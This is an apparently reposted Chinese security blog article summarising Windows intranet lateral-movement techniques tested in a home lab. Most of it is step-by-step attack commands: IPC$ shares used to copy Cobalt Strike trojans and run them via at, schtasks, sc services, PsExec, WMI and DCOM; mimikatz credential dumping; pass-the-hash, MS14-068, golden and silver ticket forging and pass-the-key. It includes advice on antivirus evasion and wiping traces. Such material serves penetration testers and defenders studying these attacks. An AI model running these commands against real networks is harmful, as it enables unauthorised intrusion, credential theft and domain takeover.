|
内网渗透 | 横向移动总结原创 ckin [url=]HACK学习呀[/url] 今天
收录于话题
#内网渗透4
#实战填坑2
#横向移动2
前言通常我们在渗透过程中从外围打点进入内网后拿到主机提升到system权限,这一台主机就已经拿下。但是我们进入内网的目标还是拿下尽可能多的主机,这时候选择横向移动的方法就尤为重要。今天就对一些常用的横向手法进行一个总结,有不足之处欢迎师傅们进行斧正。
本次实验均在本地搭建靶场进行,靶场拓扑图如下:
利用windows远程连接命令ipc连接IPC$(Internet Process Connection) 是为了让进程之间通信的一种“管道”,通过提供用户名密码建立了一条安全的、加密的、用于数据交换的通道。当然,还是在同一个时间,还是同样的两个IP,他们之间只能建立一个IPC$连接,脚踏多条船无论什么时候都是不可取的。通过这个连接,可以实现在被连接的目标机器上搞文件上传、下载、命令执行……
关于IPC$+计划任务的横向,我们的目的非常明确:
(1)首先建立向目标主机的IPC$连接
(2)其次把命令执行的脚本传到目标主机
(3)再次创建计划任务在目标机器上执行命令脚本
(4)最后过河拆桥删除IPC$连接
当然想要用IPC$来横向是有条件的:
(1)目标机器没有禁用IPC$连接,没有什么防火防盗拦截IPC$,139 445 端口也开了(能走445走445,不能则走139)
(2)目标机器小管理员开了IPC$默认共享服务(逻辑盘、系统目录;都不开我访问个啥?)
(3)获取了目标机器的小管理员的管理员权限的账号密码(最好是域管理员账号密码),明文的
(4)目标系统能支持IPC$,且和攻击机能彼此互通(废话)
本地命令可以copy,用CS beacon的可以upload,总之把自己写的或者是工具生成的木马搞到目标机器上
接下来创建windows计划任务,自动执行木马反弹连接到攻击机器
值得注意的是,如何自动执行木马,在windows中常用的就是计划任务at和schtasks,计划任务在后文中会提到
net use \\<IP>\ipc$ password /user:usernamenet use //查看当前主机所建立的连接这里提一个点,在多次渗透内网的过程中碰到了一个问题,那么就是这个命令输入的时候到底需不需要加上引号,我的建议是最好加上引号,另外就是如果是在Cobalt Strike里面执行ipc命令进行连接的时候,密码中如果有一些特殊的字符,需要进行转义,否则可能会导致ipc连接不成功。
这样我们就已经跟DC建立了IPC连接,这里尝试使用一个dir命令列出DC目录进行查看
dir \\192.168.52.138\c$
ipc连接还有一个常用的命令就是进行本地映射,如果在命令行里面查看目录觉得很麻烦的话可以使用如下命令将已经建立IPC连接的主机的任意盘符映射到自己的本地。例如这里我将DC的c盘映射到我本地的z盘。
net use z: \\ip\c$ password /user:Administrator //把目标C盘映射到本地z盘(未建立ipc连接的情况下) net use z: \\ip\c$ //把目标C盘映射到本地z盘(已建立ipc连接的情况下)
当然在最后我们渗透完成后需要清理痕迹,这里就会用到一条删除ipc连接的命令
net use \\ip\ipc$
at命令at 命令是Windows自带的用于创建计划任务的命令,但是at 命令只在2003及以下的版本使用。我们可以通过at命令通过跳板机在目标主机DC上创建计划任务,让计算机在指定的时间执行木马程序,从而获得对内网目标主机的控制。
at计划命令在实战中主要有两个用处:一是在获取webshell后不能够执行系统命令的情况下可以用at命令将命令执行后写入txt再用type读取,二是利用at计划任务命令上线cs或者msf
首先介绍第一个用处,这是我之前在实战的过程中拿到了一个oa系统的shell,但是这里在webshell处不能够执行命令,这时候就可以调用at命令调用cmd执行系统命令
使用at命令调用cmd.exe执行命令写入result.txt
at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt"
用type命令进行读取
type \\192.168.52.141\c$\result.txt
这里在演示第二个at命令的用处,利用at计划任务上线cs或msf,这里我使用的是cs生成的exe
1.首先与主机建立ipc连接
2.确定主机时间
net time \\ip
3.使用cs生成木马利用copy命令拷贝到主机上
copy <木马在本机位置> \\<靶机ip>\c$
注意在实战过程中exe需要作免杀处理,否则如果对面主机有杀软还没有落地就已经被查杀了
4.使用at命令创建计划任务
at \\<靶机ip> <启动时间> <木马在靶机的位置>
注意这里理论上cs就已经上线了,但是因为这里我是在本地启动cs生成的一个exe,2003这台机器处于域环境里面且不出网,所以不能够跟我物理机进行通信,所以这里就没有截图上线成功的图。
5.删除计划任务
这里的1为创建计划任务时候的ID
at \\192.168.52.141 1 /delete
schtasks命令在2008及以后的系统中已经将at命令废弃,改用schtasks命令代替了at命令,原因是因为schtasks命令比at命令使用起来更加灵活。
这里使用schtasks命令计划任务上线的思想跟at命令大同小异
1.与主机建立ipc连接
2.使用copy命令将exe复制到靶机里
copy C:\Users\liukaifeng01\Desktop\artifact.exe \\192.168.52.141\c$
3.查看靶机时间
net time \\192.168.52.141
4.使用schtasks创建名为cs的计划任务
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32
可以用如下schtasks命令查看创建的计划任务
schtasks /query /TN cs
这里同at命令一样,在域环境里面就没有截图cs上线的图。
5.删除计划任务
schtasks /delete /tn "cs"
在使用schtasks命令时,会在系统中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果执行schtasks命令后没有回显,可配合ipc$执行文件,使用type命令远程查看执行结果
利用windows服务利用windows服务进行横向渗透主要是通过sc命令,但是注意这里跟之前windows远程命令相比多了一个条件,即当前主机需要为administrator权限。
sc命令sc命令是XP系统中功能强大的DOS命令,SC命令能与“服务控制器”和已安装设备进行通讯。SC是用于与服务控制管理器和服务进行通信的命令行程序。
利用sc命令进行横向渗透的大体流程如下:
1.与靶机建立ipc连接
2.拷贝exe到主机系统上
3.在靶机上创建一个shell的服务
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"
这里需要用cmd shell运行,否则会报错
4.启动shell服务
sc \\WIN-M836NN6NU8B start shell
5.删除创建的shell服务
sc \\[host] delete [servicename]
利用psexec利用psexec.exe工具下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是Windows提供的工具,所以杀毒软件将其列在白名单中。
psexec的基本原理:
•1.通过ipc$连接admin$,释放二进制文件psexecsvc.exe到目标•1.通过服务管理SCManager远程创建一个psexec服务,并启动服务•1.客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据•1.运行结束后删除服务
psexec的使用前提:
•对方主机开启了 admin$共享,如果关闭了admin$共享,会提示:找不到网络名•对方未开启防火墙•如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。•如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
使用如下命令:
•-accepteula:第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框•-u:用户名•-p:密码•-s:以system权限运行运程进程,获得一个system权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe
这里也可以先建立ipc连接后直接调用PsExec64.exe调用cmd
net use \\192.168.10.3\ipc$ <password> /user:administratorPsExec64.exe -accepteula \\192.168.10.3 cmd.exe
也可以直接执行命令(在建立ipc连接的基础上)
PsExec64.exe -accepteula \\192.168.10.3 ipconfig
msf中的psexec使用search psexec寻找psexec模块如下图所示
这里最常用的有以下模块
exploit/windows/smb/psexecexploit/windows/smb/ms17_10_psexec这里说一下msf里面的这个psexec这个模块跟powershell原生模块的区别。我们知道powershell是在2008及以上的系统才有,在2008及以上的系统使用原生powershell免杀效果是要比msf里psexec生成的payload要好的。但是在2003及以下的版本是不自带powershell的,那么在这种情况下我们就只能使用msf的psexec生成的exe进行横向移动
这里唯一一点注意的就是msf的payload,需要用到反弹payload,即reverse_tcp
运行可以看到为system权限
psexec服务将会安装在远程系统中,此时将会生成 Event 4697、7045 这2种事件日志;有可能预生成Event 4624和Event 4652 Windows事件日志,日志会记录下该工具的使用数据。
利用WMIWMI,是Windows 2K/XP管理系统的核心;对于其他的Win32操作系统,WMI是一个有用的插件。WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API;相反,操作系统的不同部分都可以插入WMI
由于刚刚提到的PsExec在内网中大杀四方后,很多安全厂商开始将PsExec加入了黑名单,所以攻击者暴露的可能性陡然增加。但是根据研究情况来看,Windows操作系统默认不会将WMI的操作记录到日志当中,而且因为采用的是无文件攻击,所以导致WMI具有极高的隐蔽性。由此,越来越多的APT开始使用WMI进行攻击,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
使用 wmic 远程执行命令,在远程系统中启动 Windows Mannagement Instrumentation 服务(目标服务器需要开放 135 端口,wmic 会以管理员权限在远程系统中执行命令)
查询进程信息wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief
远程创建进程wmic也可以用来调用cmd执行系统命令,跟at命令类似,wmic调用cmd的时候也是没有回显的,所以我们还是写入txt用type命令进行查看
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"
使用type命令读取写入txt的结果如图所示
wmiexecwmiexec是windows自带的wmic的加强版,在渗透过程中使用wmiexec会比wmic和psexec更加方便,这里就介绍几种常用的wmiexec工具进行渗透。
impacket中的wmiexec.py首先在github上下载impacket安装包:https://github.com/SecureAuthCorp/impacket
使用命令
python wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP // 哈希传递获得shellpython wmiexec.py -hashes LM Hash:NT Hash 域名/用户名@目标IP "ipconfig" // 执行命令
注意:对于运行时间较长的命令,例如ping、systeminfo等,需要添加-wait 5000或更长时间的参数。
由于正常的命令都要查看结果,所以执行的命令后面都会加上重定向符,把结果输出到文件中。所以wmiexec.vbs在运行nc反弹shell或者msf木马木马等不需要输出结果但需要一直运行的程序时,因为木马进程会一直存在,导致结果文件被占用,不能删除,也不能改写。出现这种情况后由于结果文件被占用,所以WMIEXEC不能工作,除非手动更改脚本中的结果文件名。或者可以用taskkill 远程结束掉卡死的进程,然后WMIEXEC可以恢复工作。为了解决这个问题,加入了“-persist” 选项。
当命令加了“-persist” 选项后,程序会在后台运行,不会有结果输出,而且会返回这个命令进程的PID,方便结束进程。
wmiexec.vbswmiexec.vbs 可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>
输入如下命令,使用 wmiexec.vbs 在远程主机上执行单条命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"
Invoke-WMIMethod利用 PowerShell 自带的 Invoke-WMIMethod,可以在远程系统主机上执行命令和指定程序
#目标系统用户名$User = "WIN-U8TRGT93CTR\administrator"#目标系统密码$Password= ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force#账号密码整合,导入Credential$Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password#远程运行计算器程序Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred
这时候靶机进程就会出现calc.exe
利用DCOM此部分主要参考了三好学生大佬的文章:域渗透-利用DCOM在远程系统执行程序,在此对三好学生大佬表示衷心感谢。
这里先提两个概念,COM和DCOM
COM即组件对象模型(Component Object Model,COM) ,是基于 Windows 平台的一套组件对象接口标准,由一组构造规范和组件对象库组成。COM是许多微软产品和技术,如Windows媒体播放器和Windows Server的基础。一般的对象是由数据成员和作用在其上的方法组成,而组件对象和一般对象虽有相似性,但又有较大不同。组件对象不使用方法而用接口来描述自身。接口被定义为“在对象上实现的一组语义上相关的功能”,其实质是一组函数指针表,每个指针必须初始化指向某个具体的函数体,一个组件对象实现的接口数量没有限制。
关于这个COM,其实应该有很多师傅见过,那就是在windows情况下php为数不多的几种disable_functions的方法之一,就是利用windows的COM组件进行绕过,这里我就不往深处拓展了
DCOM(分布式组件对象模型)是微软基于组件对象模型(COM)的一系列概念和程序接口,它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求。DCOM是COM(组件对象模型)的扩展,它允许应用程序实例化和访问远程计算机上COM对象的属性和方法。DCOM 使用远程过程调用(RPC)技术将组件对象模型(COM)的功能扩展到本地计算机之外,因此,在远程系统上托管COM服务器端的软件(通常在DLL或exe中)可以通过RPC向客户端公开其方法。
攻击者可使用 DCOM 进行横向移动,通过 DCOM,攻击者可在拥有适当权限的情况下通过 Office 应用程序以及包含不安全方法的其他 Windows 对象远程执行命令。
使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件。例如我们滥用ShellBrowserWindow COM对象,那么就会在远程主机的现有explorer.exe进程中执行。对攻击者而言,这无疑能够增强隐蔽性,由于有大量程序都会向DCOM公开方法,因此防御者可能难以全面监测所有程序的执行。
这里利用DCOM进行横向移动有两个条件:
1.能关闭靶机防火墙2.拥有cmdshell、靶机需要使用administrator账户DCOM进行横向移动的操作如下:
1.与靶机建立ipc连接
2.cs生成木马使用copy命令上传到靶机
3.调用DCOM远程执行命令
调用MMC20.Application远程执行命令通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")
执行以上命令我们就可以调用ExecuteShellCommand方法在远程主机上启动进程
调用9BA05972-F6A8-11CF-A442-00A0C90A8F39通过调用9BA05972-F6A8-11CF-A442-00A0C90A8F39来执行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")$obj = [System.Activator]::CreateInstance($com)$item = $obj.item()$item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)调用Excel.Application远程执行命令# 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))$com.DisplayAlerts = $false# 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程$com.DDEInitiate("cmd.exe","/c C:\shell.exe")这里就不再列举其他方法了,这一部分因为知识储备的问题很多都是借鉴大佬们的思想,这里WHOAMI大佬介绍的DCOM横向移动十分详细,师傅们请移步:
如何利用 DCOM 进行内网横向渗透
PTH(pass the hash)pass-the-hash在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。
pass the hash原理:
•在Windows系统中,通常会使用NTLM身份认证•NTLM认证不使用明文口令,而是使用口令加密后的hash值,hash值由系统API生成(例如LsaLogonUser)•hash分为LM hash和NT hash,如果密码长度大于15,那么无法生成LM hash。从Windows Vista和Windows Server 2008开始,微软默认禁用LM hash•如果攻击者获得了hash,就能够在身份验证的时候模拟该用户(即跳过调用API生成hash的过程)
这类攻击适用于:
•域/工作组环境•可以获得hash,但是条件不允许对hash爆破•内网中存在和当前机器相同的密码
微软也对pth打过补丁,然而在测试中发现,在打了补丁后,常规的Pass The Hash已经无法成功,唯独默认的Administrator(SID 500)账号例外,利用这个账号仍可以进行Pass The Hash远程ipc连接。
如果禁用了ntlm认证,PsExec无法利用获得的ntlm hash进行远程连接,但是使用mimikatz还是可以攻击成功。
从windows到windows横向pth这一类攻击方法比较广泛。
首先使用mimikatz抓取域管hash,注意mimikatz在抓取到hash之后是不能够直接复制的,所以我们这里选择用log参数将抓取到的hash输出为txt
mimikatz log privilege::debug sekurlsa::logonpasswords
使用mimikatz hash传递
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
PTT(pass the ticket)PTH部分基于NTLM认证进行攻击,而PTT基于kerberos协议进行攻击
PTT中最常见的三种攻击方式为:MS14-068、黄金票据、白银票据
MS14-068MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC(表示所有用户权限的结构)。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证。
MS14-068对应的补丁为KB3011780,接下来说一下MS14-068的利用过程
利用mimikatz ptt1.获取普通域成员的SID
2.生成TGT票据
ms14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>在同目录下生成了.ccache文件
3.票据注入
使用mimikatz将票据注入到当前内存中,伪造凭证,如果成功则拥有域管理权限,可任意访问域中所有机器
通过mimikatz进行票据注入
mimikatz # kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造mimikatz # kerberos::list //查看当前机器凭证mimikatz # kerberos::ptc 票据文件 //将票据注入到内存中
4.klist查看缓存票据
5.建立ipc连接
可以看到我们这里已经提升到dc权限,这里需要注意一个问题,如果要使用psexec或者wmi进行远程执行命令的操作,这里的ip就要换成主机名字,否则无法登录成功
利用kekeo ptt这里使用到不用管理员权限进行ptt,使用到kekeo
1.生成票据
kekeo "tgt::ask /user:mars2 /domainrunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8
2.导入票据
kerberos::ptt TGT_mars2@DRUNKMARS.COM_krbtgt~Drunkmars.com@DRUNKMARS.COM.kirbi
3.查看票据并访问域控
Golden ticketGolden ticket的作用是可以生成任意用户的tgt,那么问题就来了,是什么条件能够让他生成任意用户的tgt呢?还得要看kerberos认证的过程,在windows认证过程中,客户端将自己的信息发送给KDC,然后KDC使用krbtgt用户密码的hash作为密钥进行加密,生成TGT。
那么如果获取到了krbtgt的密码hash值,就可以伪造任意tgt了。因为krbtgt只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门
伪造黄金凭据需要具备下面条件:
•krbtgt用户的hash(就意味着你已经有域控制器权限了)•域名称•域的SID值•要伪造的用户名
先登录域控制器,dump krbtgt用户的hash值,获取域sid
privilege::debuglsadump::lsa /patch
登录普通域用户生成TGT凭证
kerberos::golden /user:administrator /domainrunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi
注入黄金票据并访问域控
kerberos::ptt gold.kirbi
如果开启rpc服务则可以用winexec.vbs直接连接,这里我的域控没有开启rpc服务,所以这里连接没有成功
Sliver ticketSliver ticket和golden ticket不同的是,它不需要和域控制器进行通信,原理是伪造TGS,使用的是计算机账户的hash进行加密的,所以只能访问指定的权限。
不像是Golden ticket,是由krgtgt用户的密码hash进行加密,伪造tgt可以获取到所有权限。
白银票据这里只是对单一的服务进行授权,利用过程和golden ticket差不多,首先上域控制器中,把机器的ntlm hash(rc4加密) dump下来,然后在普通域用户机器进行伪造权限,进行ptt。
登录DC,抓取ntlm hash
mimikatz log privilege::debug sekurlsa::logonpasswords
在普通域用户中生成票据
kerberos::golden /domainrunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
**
**
查看票证访问域控
PTK(pass the key)在连接配置的时候允许使用hash进行认证,而不是只有账号密码才能认证。
就是由于在进行认证的时候,是用用户hash加密时间戳,即使在使用密码进行登录的情况下,也是先把密码加密成hash,再进行认证。因此在只有用户hash,没有明文密码的情况下也是可以进行认证的。不管是rubeus还是impacket里面的相关脚本都是支持直接使用hash进行认证。其中,如果hash的ntlm hash,然后加密方式是rc4,这种就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys导出来),就算是pass the key。在很多地方,不支持rc4加密方式的时候,使用pass the key不失为一种好方法。
获取aes key
mimikatz log privilege::debug sekurlsa::ekeys
注入aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:mars2 /domainrunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d"
后记作为一个安全小白,能够总结出来的横向移动的方法也很局限,很多知识都是借鉴了大佬们的思想,等于说是站在巨人的肩膀上才总结出了这篇文章,在这里对提供思路的大佬们表示衷心的感谢。在实如果文章中有什么勘误,还请师傅们斧正。
|
|